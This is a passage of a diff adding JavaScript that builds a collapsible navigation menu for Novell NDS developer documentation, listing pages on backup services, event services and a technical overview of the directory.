+var MTMIconList = null;
+MTMIconList = new IconList();
+// examples:
+//MTMIconList.addIcon(new MTMIcon("menu_link_external.gif", "http://", "pre"));
+//MTMIconList.addIcon(new MTMIcon("menu_link_pdf.gif", ".pdf", "post"));
+
+/******************************************************************************
+ * User-configurable menu. *
+ ******************************************************************************/
+
+
+// navigation link is an object used to store the extracted information from
+// the search request. The stored information will be used to build the
+// navigation tree.
+ function navigationLink(title,URL,level,elementIndex,levelIndex,parentIndex,author)
+ {
+ var returnArray = new Array();
+ returnArray.title = title;
+ returnArray.URL = URL;
+ returnArray.level = level;
+ returnArray.hasChild = false;
+ returnArray.elementIndex = elementIndex;
+ returnArray.parentIndex = parentIndex;
+ returnArray.levelIndex = levelIndex;
+ returnArray.author = author;
+
+ return returnArray;
+ }
+
+// Variables used for tracking state as the search iterates through the list
+// of documents returned.
+ var index = 0;
+ var currentLevel = 0;
+ var levelParents = new Array();
+ var levelIndexes = new Array();
+ var navigationTree = new Array();
+ var treeNodes = new Array();
+ var levelIndex = 0;
+ top.printList = "";
+ top.printCount = 0;
+
+// asign the menu handle to the created tree
+ var menu = null;
+
+
+ function getNextChecked(item)
+ {
+ // case that root of tree is selected
+ if ( item.parent == null && item.selected)
+ {
+ for (var i = 0 ; i < top.authors.length; i++)
+ {
+ var re = /\s$/;
+
+ if (top.titles[i].replace(re,"") == item.text.replace(re,""))
+ {
+ top.printList += (top.authors[i].length + 3) + "_" + top.authors[i].replace(/\s/g,"+") + "+en";
+ top.printCount ++;
+ }
+ }
+ }
+ else if (item.submenu != null)
+ {
+ for (var x = 0; x < item.submenu.items.length; x++)
+ {
+ if (item.submenu.items[x].selected)
+ {
+ var name = item.submenu.items[x].text;
+ for (var i = 0 ; i < top.authors.length; i++)
+ {
+ var re = /\s$/;
+ if (top.titles[i].replace(re,"") == name.replace(re,""))
+ {
+ top.printList += (top.authors[i].length + 3) + "_" + top.authors[i].replace(/\s/g,"+") + "+en";
+ top.printCount ++;
+ }
+ }
+
+ }
+ else
+ {
+ getNextChecked(item.submenu.items[x]);
+ }
+ }
+ }
+
+ }
+
+// Get a URL to pass checked topics to the Print Servlet
+
+
+
+ function getPrintUrl(menu)
+ {
+ top.printList = "";
+ top.printCount = 0;
+
+ getNextChecked(menu.items[0]);
+ top.printList = top.printCount + "_" + top.printList;
+
+ return top.printList;
+ }
+
+ function setLevels()
+ {
+
+ // Tracking the parent of the next node.
+ levelParents[currentLevel + 1] = index;
+
+ // levelIndex is the child index under a branch
+ if (levelIndexes[currentLevel] == null)
+ {
+ levelIndexes[currentLevel] = 0;
+ }
+ else
+ {
+ levelIndexes[currentLevel] = levelIndexes[currentLevel] + 1;
+ levelIndexes[currentLevel + 1] = -1;
+ }
+ }
+
+ function buildTree()
+ {
+
+// Determine which nodes have children and assign the correct property
+ for (var i = 0; i < navigationTree.length-1; i++)
+ {
+ // see if the current node has chilren
+ var thisLevel = navigationTree[i]["level"];
+ var nextLevel = navigationTree[i+1]["level"];
+
+ if (nextLevel > thisLevel)
+ {
+ navigationTree[i]["hasChild"] = true;
+ }
+ else
+ {
+ navigationTree[i]["hasChild"] = false;
+ }
+ }
+
+
+// create tree object nodes.
+ for( var j = 0; j < navigationTree.length; j++)
+ {
+ treeNodes[j] = null;
+ treeNodes[j] = new MTMenu();
+ }
+
+
+// add all items to nodes -
+// NOTE, index to add to is the parent index + 1 for node tree offset of root=0
+ for( var j3 = 0; j3 < navigationTree.length; j3++)
+ {
+ if (navigationTree[j3]["parentIndex"] == null)
+ {
+ var nsearchID = navigationTree[j3]["author"];
+ treeNodes[0].MTMAddItem(new MTMenuItem(navigationTree[j3]["title"], navigationTree[j3]["URL"].replace(/http...developer.novell.com.ndk/gi,"/ndk") , "content_frame", nsearchID));
+ }
+ else
+ {
+ var nsearchID = navigationTree[j3]["author"];
+ treeNodes[navigationTree[j3]["parentIndex"] + 1 ].MTMAddItem(new MTMenuItem(navigationTree[j3]["title"], navigationTree[j3]["URL"].replace(/http...developer.novell.com.ndk/gi,"/ndk"), "content_frame",nsearchID));
+ }
+ }
+
+// create submenu structure
+// NOTE: add 1 to parent nodes for root = 0 offset.
+ for( var j4 = 0; j4 < navigationTree.length; j4++)
+ {
+ if (navigationTree[j4]["hasChild"])
+ {
+ var pindex = null;
+ if (navigationTree[j4]["parentIndex"] == null)
+ {
+
+ pindex = 0;
+ }
+ else
+ {
+ pindex = navigationTree[j4]["parentIndex"]+1;
+ }
+
+ var lindex = navigationTree[j4]["levelIndex"];
+ // document.write('treeNodes[' + pindex +'].items['+ lindex +'].MTMakeSubmenu(treeNodes['+(j4+1)+']);<br>');
+
+ treeNodes[pindex].items[lindex].MTMakeSubmenu(treeNodes[j4+1]);
+ }
+ }
+
+ menu = treeNodes[0];
+
+//expand the second item to display the sub contents on first display
+ if (menu.items[0] != null )
+ {
+ menu.items[0].expanded = true;
+
+ }
+
+
+
+ }
+
+
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("NDS Libraries for C ","http://developer.novell.com/ndk/doc/ndslib/treetitl.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("NDS Backup Services ","http://developer.novell.com/ndk/doc/ndslib/dsbk_enu/data/hevgtl7k.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("Functions ","http://developer.novell.com/ndk/doc/ndslib/dsbk_enu/data/h7qwv271.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("NDSBackupServerData ","http://developer.novell.com/ndk/doc/ndslib/dsbk_enu/data/sdk5.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSFreeNameList ","http://developer.novell.com/ndk/doc/ndslib/dsbk_enu/data/sdk12.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSGetReplicaPartitionNames ","http://developer.novell.com/ndk/doc/ndslib/dsbk_enu/data/sdk19.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSIsOnlyServerInTree ","http://developer.novell.com/ndk/doc/ndslib/dsbk_enu/data/sdk26.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSSYSVolumeRecovery ","http://developer.novell.com/ndk/doc/ndslib/dsbk_enu/data/sdk33.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSVerifyServerInfo ","http://developer.novell.com/ndk/doc/ndslib/dsbk_enu/data/sdk40.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("Structures ","http://developer.novell.com/ndk/doc/ndslib/dsbk_enu/data/hqp7vveq.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("NAMEID_TYPE ","http://developer.novell.com/ndk/doc/ndslib/dsbk_enu/data/sdk48.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("Values ","http://developer.novell.com/ndk/doc/ndslib/dsbk_enu/data/hmmmal7s.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("NDS Reason Flags ","http://developer.novell.com/ndk/doc/ndslib/dsbk_enu/data/h3r99io5.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDS Server Flags ","http://developer.novell.com/ndk/doc/ndslib/dsbk_enu/data/hnlckbki.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("Revision History ","http://developer.novell.com/ndk/doc/ndslib/dsbk_enu/data/a5i29ah.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("NDS Event Services ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/hmwiqbwd.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("Concepts ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/hj3udfo7.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("NDS Event Introduction ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/hmgeu8a1.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDS Event Functions ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/hxwcemsz.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDS Event Priorities ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/hux0tdup.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDS Event Data Filtering ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/ha7nqbpy.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDS Event Types ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/h741eryw.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Global Network Monitoring ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/h9alatk4.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("Tasks ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/huypg52u.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("Monitoring NDS Events ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/hhkihe7f.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Registering for NDS Events ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/h0xmzt1h.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Unregistering for NDS Events ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/hk3fvwed.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("Functions ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/h7qwv271.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSEConvertEntryName ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/sdk28.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSEGetLocalAttrID ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/sdk33.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSEGetLocalAttrName ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/sdk39.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSEGetLocalClassID ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/sdk45.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSEGetLocalClassName ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/sdk51.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSEGetLocalEntryID ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/sdk57.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSEGetLocalEntryName ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/sdk63.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSERegisterForEvent ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/sdk69.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSERegisterForEventWithResult ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/sdk75.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSEUnRegisterForEvent ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/sdk81.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("Structures ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/hqp7vveq.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("DSEACL ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/sdk88.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("DSEBackLink ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/sdk92.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("DSEBinderyObjectInfo ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/sdk96.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("DSEBitString ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/sdk100.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("DSEChangeConnState ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/sdk104.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("DSECIList ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/sdk108.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("DSEDebugInfo ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/sdk112.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("DSEEmailAddress ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/sdk116.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("DSEEntryInfo ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/sdk120.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("DSEEntryInfo2 ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/sdk124.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("DSEEventData ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/sdk128.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("DSEFaxNumber ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/sdk132.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("DSEHold ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/sdk135.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("DSEModuleState ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/sdk139.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("DSENetAddress ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/sdk143.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("DSEOctetList ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/sdk147.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("DSEPath ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/sdk151.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("DSEReplicaPointer ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/sdk155.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("DSESEVInfo ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/sdk159.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("DSETimeStamp ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/sdk163.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("DSETraceInfo ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/sdk167.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("DSETypedName ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/sdk172.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("DSEVALData ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/sdk176.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("DSEValueInfo ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/sdk179.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("Values ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/hmmmal7s.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("Event Priorities ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/hlerfllh.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Event Types ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/hiz5y84y.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("Revision History ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/a6hw6zr.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("NDS Technical Overview ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/h6tvg4z7.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("NDS as the Internet Directory ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/h273w870.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("Requirements for Networks and the Internet ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/a2lh37b.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDS Compliance to X.500 Standard ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/h0jj42d7.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDS Compliance with LDAP v3 ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/a2b6k5w.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Directory Access Protocols ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/a2b6k5x.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Programming Interfaces for NDS ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/h2qzzkq8.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDS Architecture ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/h6mny7fl.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("NDS Objects ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/hp4dslw5.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("NDS Names ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/h0yh1byj.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Types of Information Stored in NDS ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/hci52ynf.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Retrieval of Information from NDS ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/hwwz5mda.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Tree Walking ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/h2xhaphc.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDS Object Management ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/h3mq2rf0.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("NDS Security ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/hl8x1zxc.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("Authentication ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/hp901s8a.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Access Control Lists ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/hr8sqtoi.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Inheritance ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/hh9881ul.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NetWare File System ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/h64btfhk.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("Partitions and Replicas ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/hmq60r6h.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("Partitioning ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/hqx5hvrp.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Replication ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/hj5l8npv.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Distributed Reference Management ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/hzap47de.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Partition Operations ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/hgbpk7x9.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Synchronization ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/hsiplgn4.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
